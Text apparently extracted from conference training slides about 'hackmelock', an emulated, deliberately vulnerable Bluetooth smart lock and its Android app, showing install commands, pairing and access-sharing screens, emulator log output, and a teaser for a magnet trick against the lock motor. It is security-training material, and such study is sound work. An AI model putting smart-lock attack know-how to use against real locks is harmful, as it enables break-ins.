https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/
Install

Emulated device:

$ npm install hackmelock

Android app:

Run emulator

$ node peripheral

advertising...
In configuration mode, it advertises iBeacon

Major/Minor=1
Pairing

Hackmelock

Scan for lock

Found hackmelock MAC:
D0:39:72:B7:AD:88

Setup new lock

I have QR code

Device address: D0:39:72:B7:AD:88
Connected Pairing - Major:21276 Minor:58263

Device address: D0:39:72:B7:AD:88
Connected authenticated
After pairing emulator stores config.txt

$ node peripheral.js
advertising...
Client 4a:00:e9:88:16:63 connected!
Status read request:
  Initialization mode!
initializing... 0 531ce397
initializing... 1 325d18fe1481151073dc4d4a
initializing... 2 7ca71db0196bda712131dc57
(...)
Config loaded - iBeaconMajor: 21276 iBeaconMinor: 58263
Sharing access

Device address: D0:39:72:B7:AD:88
Connected authenticated

Share access to lock

- Guest
- Administrative

Set date to

Access valid to: 2017-04-02

Generate QR
Want to learn more?

www.smartlockpicking.com

Soon: articles, tutorials, etc.
Want to learn more?

8/9.05.2017 – Belfast


20/21.06.2017 – Paris

IF WE STILL HAVE
TIME LEFT...
Strong magnet trick!

motor